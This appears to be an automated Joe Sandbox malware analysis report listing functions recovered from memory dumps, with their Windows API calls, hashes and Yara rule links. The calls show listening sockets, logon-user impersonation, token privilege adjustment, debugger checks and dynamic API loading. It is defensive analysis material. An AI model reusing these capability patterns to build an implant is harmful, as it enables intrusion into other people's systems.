Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CreateErrorLastLogonProcessWith_memset
String ID: sysnative$system32
API String ID: 2584212486-2461298002
Opcode ID: 6f9d7035524612a16483502095c16a172a2c917a4d495048557f653f2366b610
Instruction ID: 3d888f660f52d5fcd4751560cb727e7f95d87dadc7a8119517935ea4b8eb6478
Opcode Fuzzy Hash: 6f9d7035524612a16483502095c16a172a2c917a4d495048557f653f2366b610
Instruction Fuzzy Hash: 2F312D7A900251FFCB129F64AC09FE63BA9EF45310F184055F996DB252DB71D904C7B0

Function 00DB8699 Relevance: 9.1, APIs: 6, Instructions: 68networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00DB86B6
htons.WS2_32(?), ref: 00DB86C6
socket.WS2_32(00000002,00000002,00000000), ref: 00DB86DC
closesocket.WS2_32(00000000), ref: 00DB86E9
bind.WS2_32(00000000,?,00000010), ref: 00DB8717
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00DB872E

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonlhtonsioctlsocketsocket
String ID:
API String ID: 3910169428-0
Opcode ID: 8ddc581e2a499d347e69a0bf1684f5242460dfa37f450859a17bbf26abff2891
Instruction ID: 7d3526ffe677d900a35bc833a07800624ee3746e5ba7b9dc34b81b8b5537df45
Opcode Fuzzy Hash: 8ddc581e2a499d347e69a0bf1684f5242460dfa37f450859a17bbf26abff2891
Instruction Fuzzy Hash: F0119072A00214EAD700ABF99C86EEEB7BCDF08728F104166F611E6191EA748A049779

Function 00DB3685 Relevance: 9.1, APIs: 6, Instructions: 68sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00DB3697
Sleep.KERNEL32(000003E8), ref: 00DB3707
GetTickCount.KERNEL32 ref: 00DB370D
Sleep.KERNEL32(000003E8), ref: 00DB3720
closesocket.WS2_32(00000000), ref: 00DB3727
send.WS2_32(00000000,?,?,00000000), ref: 00DB373A

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CountSleepTick$closesocketsend
String ID:
API String ID: 1472970430-0
Opcode ID: ffad76579d718df4260da560444256de145bd7a6418c974a69003c438ee2826a
Instruction ID: b2b9d993faee98f7bad836e14df956a8078451dfeb62a8753f626edaff4b20f4
Opcode Fuzzy Hash: ffad76579d718df4260da560444256de145bd7a6418c974a69003c438ee2826a
Instruction Fuzzy Hash: C4116DB2C00218EBDF01ABF49C82CDD7B78EF04320F240527F112A6191EE359604AB75

Function 00DB85B7 Relevance: 9.1, APIs: 6, Instructions: 54networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 00DB85CF
htons.WS2_32(?), ref: 00DB85EB
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00DB8604
closesocket.WS2_32(00000000), ref: 00DB860F
bind.WS2_32(00000000,?,00000010), ref: 00DB861D
listen.WS2_32(00000000,?), ref: 00DB862B

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonsioctlsocketlistensocket
String ID:
API String ID: 1767165869-0
Opcode ID: b03050f498ad8b4b05d9a0e8657c4d2085af81a405eeff0bd84cb1126a4fd252
Instruction ID: b033763a301522e9daa272c25c5e4d8ecc62b328a24433a6f9f770b729a68dd9
Opcode Fuzzy Hash: b03050f498ad8b4b05d9a0e8657c4d2085af81a405eeff0bd84cb1126a4fd252
Instruction Fuzzy Hash: F101B531641668FACB21AFA58C45EEFBB2DEF41760F140117F942E6291EB308A41D3F9

Function 00DBE272 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00DBDF1C: RevertToSelf.ADVAPI32(00000100,00DBE4B0,00000000,?,?,00DB19A7,?,00000000,00000000,00000000,00000100,00000100), ref: 00DBDF33

LogonUserA.ADVAPI32(?,?,?,00000009,00000003,00DF08A4), ref: 00DBE292
GetLastError.KERNEL32 ref: 00DBE29C

Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81C2
Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81D2

Part of subcall function 00DB31C8: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000400,00DB4ACB,?,00DB48E4,00DB4ACB,?,00000400), ref: 00DB31DE
Part of subcall function 00DB31C8: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00DB4ACB,00DB48E4,?,00DB48E4,00DB4ACB,?,00000400,?,?,?,?,00DB4ACB), ref: 00DB31F7

Part of subcall function 00DB16CB: _malloc.LIBCMT ref: 00DB16D1

Part of subcall function 00DB1825: _vwprintf.LIBCMT ref: 00DB182F
Part of subcall function 00DB1825: _vswprintf_s.LIBCMT ref: 00DB1853

Part of subcall function 00DB1864: _memset.LIBCMT ref: 00DB1872

ImpersonateLoggedOnUser.ADVAPI32 ref: 00DBE2B6
GetLastError.KERNEL32 ref: 00DBE2C0

Strings

%s\%s, xrefs: 00DBE36B

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _malloc$ByteCharErrorLastMultiUserWide$ImpersonateLoggedLogonRevertSelf_memset_vswprintf_s_vwprintf
String ID: %s\%s
API String ID: 744593125-4073750446
Opcode ID: 9057c93d9e1a47a0bf1ce3c8525b3ec33e86fa725b539167fd98b30723d0bc9e
Instruction ID: 0e8e7261050e87524d9616be91a81cbdb540651a9b5c9d33688d4bc0554c2f94
Opcode Fuzzy Hash: 9057c93d9e1a47a0bf1ce3c8525b3ec33e86fa725b539167fd98b30723d0bc9e
Instruction Fuzzy Hash: 2831EFB5500309FEDB017BA5EC46EEA3FADEB04794F544025F50AD6262EB318614DBF1

Function 00DD0331 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00DD41AD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00DD41C2
UnhandledExceptionFilter.KERNEL32(00DDBC2C), ref: 00DD41CD
GetCurrentProcess.KERNEL32(C0000409), ref: 00DD41E9
TerminateProcess.KERNEL32(00000000), ref: 00DD41F0

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8f2c49d16298889554fbe74834460f7822af03f5a5379f627a53c77ddf9174d9
Instruction ID: 2cf7a98ae4242a1c621d3a73a58e81e2bd74889591480ed6b1389cf8a9b787f5
Opcode Fuzzy Hash: 8f2c49d16298889554fbe74834460f7822af03f5a5379f627a53c77ddf9174d9
Instruction Fuzzy Hash: 1F21C2B5422384DFC711EF68FDC56143BE0FB48326F50201AE908CA362D77455868F79

Function 00401A60 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401AAF
UnhandledExceptionFilter.KERNEL32 ref: 00401ABF
GetCurrentProcess.KERNEL32 ref: 00401AC8
TerminateProcess.KERNEL32 ref: 00401AD9
abort.MSVCRT ref: 00401AE2

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: f1735b2a21335909bc253273f0ac7d76cfe1abd3c6ccf2038b615fc4144ab68f
Instruction ID: 4cf10dc5dd0b46c0d15535f06df006338fe5ac01ee9545680c35680ef873d5b5
Opcode Fuzzy Hash: f1735b2a21335909bc253273f0ac7d76cfe1abd3c6ccf2038b615fc4144ab68f
Instruction Fuzzy Hash: C71104B8904701CFC700EF79E98860ABBF0BB48305F418939E98897362E774D944CF5A

Function 004019A0 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 004019DF
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014B2), ref: 004019F0
GetCurrentThreadId.KERNEL32 ref: 004019F8
GetTickCount.KERNEL32 ref: 00401A00
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014B2), ref: 00401A0F

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: ce9964a745ff34b1e52db9bb427ed0266c0b5c27dc7e9c3f673c87eb161a208f
Instruction ID: f91986c62e855f646c45f311636352fb5b7618295fe1daaf99d33dd895697f3e
Opcode Fuzzy Hash: ce9964a745ff34b1e52db9bb427ed0266c0b5c27dc7e9c3f673c87eb161a208f
Instruction Fuzzy Hash: 72112EB56093008BD710DF7AE9CC64BBBE0FB88355F150C3AE545C6720EA35D849CB96

Function 00401A5C Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401AAF
UnhandledExceptionFilter.KERNEL32 ref: 00401ABF
GetCurrentProcess.KERNEL32 ref: 00401AC8
TerminateProcess.KERNEL32 ref: 00401AD9
abort.MSVCRT ref: 00401AE2

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: e890205312924e3d75c916e9bd349fed97dc7cc0427307e0de22e70c0feafd3e
Instruction ID: 06684be4768ddce2bfe548fce248f846a3560142eb51a47cff2d5cf3969212e5
Opcode Fuzzy Hash: e890205312924e3d75c916e9bd349fed97dc7cc0427307e0de22e70c0feafd3e
Instruction Fuzzy Hash: 721117B9900701CFD700EF79E94864A7BF0BB09302F418979E94897362E774E844CF5A

Function 00DBEDB3 Relevance: 7.5, APIs: 5, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 00DBEDC5
closesocket.WS2_32(00000000), ref: 00DBEDD2
htons.WS2_32(?), ref: 00DBEDE3
bind.WS2_32(00000000,?,00000010), ref: 00DBEDFA
listen.WS2_32(00000000,00000078), ref: 00DBEE0B

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonslistensocket
String ID:
API String ID: 564772725-0
Opcode ID: 5546e49d767f56db25d24d8bed52f7b2c7aec2182f4a8befcc1dabd2db83c163
Instruction ID: 2cb7a7a2d06787ff50c87ae7c3e9de2e1bdad459bf3c624d934c7f5cdef14b9b
Opcode Fuzzy Hash: 5546e49d767f56db25d24d8bed52f7b2c7aec2182f4a8befcc1dabd2db83c163
Instruction Fuzzy Hash: A2F08135881254F6DA103BB49C0BBEE77289F11734F104356F9B7AA1D2E7B0864493BA

Function 00DB21D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000000,?), ref: 00DB22C8
LoadLibraryA.KERNEL32(00000000,?,00000000,?), ref: 00DB22D3
GetProcAddress.KERNEL32(00000000,00000000), ref: 00DB22DB

Part of subcall function 00DB26E2: _vswprintf_s.LIBCMT ref: 00DB26FE

Strings

%s!%s, xrefs: 00DB2318

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AddressHandleLibraryLoadModuleProc_vswprintf_s
String ID: %s!%s
API String ID: 2092861438-2935588013
Opcode ID: 886e77d536adfdff62672831c84a89e8c09880d66f04f3856277200e6b5ec38d
Instruction ID: d7dad79c8ef67afa26a7f0a3d05b7b5f976c5808c6e61f702c9d3bdfe430e13b
Opcode Fuzzy Hash: 886e77d536adfdff62672831c84a89e8c09880d66f04f3856277200e6b5ec38d
Instruction Fuzzy Hash: 2A41D577904100DBDF189FA0D885EFA37B9EB84720F794056EA07EB281DA34DD4287B9

Function 00DB21D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000000,?), ref: 00DB22C8
LoadLibraryA.KERNEL32(00000000,?,00000000,?), ref: 00DB22D3
GetProcAddress.KERNEL32(00000000,00000000), ref: 00DB22DB

Part of subcall function 00DB26E2: _vswprintf_s.LIBCMT ref: 00DB26FE

Strings

%s!%s, xrefs: 00DB2318

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AddressHandleLibraryLoadModuleProc_vswprintf_s
String ID: %s!%s
API String ID: 2092861438-2935588013
Opcode ID: e3455d6bdc65aa6bc8be5033fd89f4ca53bd3da2825a6aa452d15bcc181f7c8e
Instruction ID: d7dad79c8ef67afa26a7f0a3d05b7b5f976c5808c6e61f702c9d3bdfe430e13b
Opcode Fuzzy Hash: e3455d6bdc65aa6bc8be5033fd89f4ca53bd3da2825a6aa452d15bcc181f7c8e
Instruction Fuzzy Hash: 2A41D577904100DBDF189FA0D885EFA37B9EB84720F794056EA07EB281DA34DD4287B9

Function 00DB41CB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 00DB4227
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00DB424A
GetLastError.KERNEL32 ref: 00DB4254

Part of subcall function 00DB1825: _vwprintf.LIBCMT ref: 00DB182F
Part of subcall function 00DB1825: _vswprintf_s.LIBCMT ref: 00DB1853

Strings

%s, xrefs: 00DB4261

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue_vswprintf_s_vwprintf
String ID: %s
API String ID: 2004037343-620797490
Opcode ID: d671fc86671c4f2476bf730bd1ff7e9754596a19a974a9d31d771fbd772934c8
Instruction ID: 1574750afb96ca86c0ff61f9a32f22041c9eecf7cbb971c0f5a788b189f43cac
Opcode Fuzzy Hash: d671fc86671c4f2476bf730bd1ff7e9754596a19a974a9d31d771fbd772934c8
Instruction Fuzzy Hash: 02114A76900219FAEB11DFA8DD45AFFBBBCEF08350B100426F905E6151E6319E0896B5

Function 00DB41CB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 00DB4227
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00DB424A
GetLastError.KERNEL32 ref: 00DB4254

Part of subcall function 00DB1825: _vwprintf.LIBCMT ref: 00DB182F
Part of subcall function 00DB1825: _vswprintf_s.LIBCMT ref: 00DB1853

Strings

%s, xrefs: 00DB4261

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue_vswprintf_s_vwprintf
String ID: %s
API String ID: 2004037343-620797490
Opcode ID: 48756c8de3f27635fac505c02c9e297aac22576c041ce1ce9de54a3e52996fad
Instruction ID: 1574750afb96ca86c0ff61f9a32f22041c9eecf7cbb971c0f5a788b189f43cac
Opcode Fuzzy Hash: 48756c8de3f27635fac505c02c9e297aac22576c041ce1ce9de54a3e52996fad
Instruction Fuzzy Hash: 02114A76900219FAEB11DFA8DD45AFFBBBCEF08350B100426F905E6151E6319E0896B5

Function 00DB7E57 Relevance: 6.1, APIs: 4, Instructions: 63sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00DB7E66
Sleep.KERNEL32(000003E8), ref: 00DB7EB6
GetTickCount.KERNEL32 ref: 00DB7EBC
WSAGetLastError.WS2_32 ref: 00DB7EC2

Part of subcall function 00DB7E11: ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 00DB7E23

Part of subcall function 00DB75E5: _memset.LIBCMT ref: 00DB7606

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CountTick$ErrorLastSleep_memsetioctlsocket
String ID:
API String ID: 3301373915-0
Opcode ID: 7397935bee361eb1395b79fd199930c1949dd08b8b39d21cdc24570ce58b0d73
Instruction ID: 2380c01531a847719cf825d7cc28aa97867fcb3e111137063ec1939a42db1854
Opcode Fuzzy Hash: 7397935bee361eb1395b79fd199930c1949dd08b8b39d21cdc24570ce58b0d73
Instruction Fuzzy Hash: BC117072C0820AEBDB0177B59C869EE7BA8DF84764F240023F602A6191EE309D8597B5

Function 00DB3685 Relevance: 4.6, APIs: 3, Instructions: 68sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00DB3707
Sleep.KERNEL32(000003E8,00000000,?,?,00000000), ref: 00DB3720
closesocket.WS2_32(00000000), ref: 00DB3727

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: Sleep$closesocket
String ID:
API String ID: 1480910923-0
Opcode ID: 2c2b2ce40d1465964f89295a1d43842caa7545342d65f725d138f1d669df8578
Instruction ID: b2b9d993faee98f7bad836e14df956a8078451dfeb62a8753f626edaff4b20f4
Opcode Fuzzy Hash: 2c2b2ce40d1465964f89295a1d43842caa7545342d65f725d138f1d669df8578
Instruction Fuzzy Hash: C4116DB2C00218EBDF01ABF49C82CDD7B78EF04320F240527F112A6191EE359604AB75

Function 00DBE442 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,74DF2E90,?,?,?,00DB80ED), ref: 00DBE475
CheckTokenMembership.ADVAPI32(00000000,?,00DB80ED,?,?,?,00DB80ED), ref: 00DBE48A
FreeSid.ADVAPI32(?,?,?,?,00DB80ED), ref: 00DBE49A

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: df1425956a1023e337678163ab9acbb9120de10e079168268264eda6ab881f9b
Instruction ID: ef6217ff4e5f2f519d8e885a6fe2271e778df27097d3980610e8278c1afa6708
Opcode Fuzzy Hash: df1425956a1023e337678163ab9acbb9120de10e079168268264eda6ab881f9b
Instruction Fuzzy Hash: 2E011D76945288FFDB11DBE88C84AEEBFBCAB15204F44449AA511E3241D3709B08DB35

Function 00DB91C2 Relevance: 4.5, APIs: 3, Instructions: 11memorythreadCOMMON

Download Yara Rule

APIs

DeleteProcThreadAttributeList.KERNEL32(00DB934A,?,00DB934A,00000000), ref: 00DB91C8
GetProcessHeap.KERNEL32(00000000,00DB934A,?,00DB934A,00000000), ref: 00DB91D3
HeapFree.KERNEL32(00000000,?,00DB934A,00000000), ref: 00DB91DA

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: Heap$AttributeDeleteFreeListProcProcessThread
String ID:
API String ID: 551783810-0
Opcode ID: 6155b83e8743b315ee007a9921d15385ce61c8e9f8b407c3fb28189419e379ad
Instruction ID: a951b2b3d821f35ee67a080bfda2c3e4f9fd43a857c4000bc1d11e27bf59586d
Opcode Fuzzy Hash: 6155b83e8743b315ee007a9921d15385ce61c8e9f8b407c3fb28189419e379ad
Instruction Fuzzy Hash: DAC00232045348FFDF112FE1EC0DA9A7F29EB0A66AF018013F61DC56A1CB7295519BB1

Function 00DD7320 Relevance: 4.4, Strings: 3, Instructions: 612COMMONLIBRARYCODE

Download Yara Rule

Strings

abcdefghijklmnop, xrefs: 00DD732A
, xrefs: 00DD769C
<, xrefs: 00DD76A6

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID:
String ID: $<$abcdefghijklmnop
API String ID: 0-2431890337
Opcode ID: 825b59aef45760b650a700909c1b35609783ae259bdea21978c9f2b5c29bb4c4
Instruction ID: 666d8f6e3687e407bedaf9723322d529f03a767473ee96bd9366fc28d73f5761
Opcode Fuzzy Hash: 825b59aef45760b650a700909c1b35609783ae259bdea21978c9f2b5c29bb4c4
Instruction Fuzzy Hash: 9C52F475E002598FDB48CF69C491AADBBF1EF4D300F14C1AAE865AB352D234E951CFA4

Function 00D96720 Relevance: 3.1, Strings: 2, Instructions: 612COMMONLIBRARYCODE

Download Yara Rule

Strings

<, xrefs: 00D96AA6
, xrefs: 00D96A9C

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID: $<
API String ID: 0-428540627
Opcode ID: 8f17b7d656fda2f539b22130276217b8beca0b9ca9f1e22ccb95e8b605794827
Instruction ID: fd178c8c37e2557c92c1984edd401c16fd1adec4bae82b58e68c1d1e2c606e4c
Opcode Fuzzy Hash: 8f17b7d656fda2f539b22130276217b8beca0b9ca9f1e22ccb95e8b605794827
Instruction Fuzzy Hash: 6752E375A102198FDB48CF69C491AADBBF1EF8D300F14C16AE865AB352C234E951CFA4

Function 00DB7E57 Relevance: 3.1, APIs: 2, Instructions: 63sleepnetworkCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00DB7EB6
WSAGetLastError.WS2_32 ref: 00DB7EC2

Part of subcall function 00DB7E11: ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 00DB7E23

Part of subcall function 00DB75E5: _memset.LIBCMT ref: 00DB7606

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: ErrorLastSleep_memsetioctlsocket
String ID:
API String ID: 4193628849-0
Opcode ID: 7e7743ce85dbad4c5b81ac384653d6f0fed9f7b7a2bee776d3f98450f482e452
Instruction ID: 2380c01531a847719cf825d7cc28aa97867fcb3e111137063ec1939a42db1854
Opcode Fuzzy Hash: 7e7743ce85dbad4c5b81ac384653d6f0fed9f7b7a2bee776d3f98450f482e452
Instruction Fuzzy Hash: BC117072C0820AEBDB0177B59C869EE7BA8DF84764F240023F602A6191EE309D8597B5

Function 00DD8190 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ab5c385dc5cbe30193eeadd58545ad297c790370df914d4dc5477e40e4bae5
Instruction ID: 4ce7199980ca9cbb3ab4e5ba34a3495993519f54de26b916c99ca9b1bb766950
Opcode Fuzzy Hash: 52ab5c385dc5cbe30193eeadd58545ad297c790370df914d4dc5477e40e4bae5
Instruction Fuzzy Hash: 3A1271719201598FCB08CF5DD891ABDBBF1EF49301F48816EE456EB386CA38E611DB64

Function 00D97590 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 713d4da708e507e8e1ad1b26dcf6fc677549dbd504e9a6ab50fae4ca0ac85f09
Instruction ID: 9c000924473d6e627add4c71c522c2cd61c043e3d2c7cf6e308a8ca813a53a89
Opcode Fuzzy Hash: 713d4da708e507e8e1ad1b26dcf6fc677549dbd504e9a6ab50fae4ca0ac85f09
Instruction Fuzzy Hash: C91272319101698FDB08CF5DC8D1ABDBBF1EF49341F54826EE4569B386C638EA12DB60

Function 00DD7BC0 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

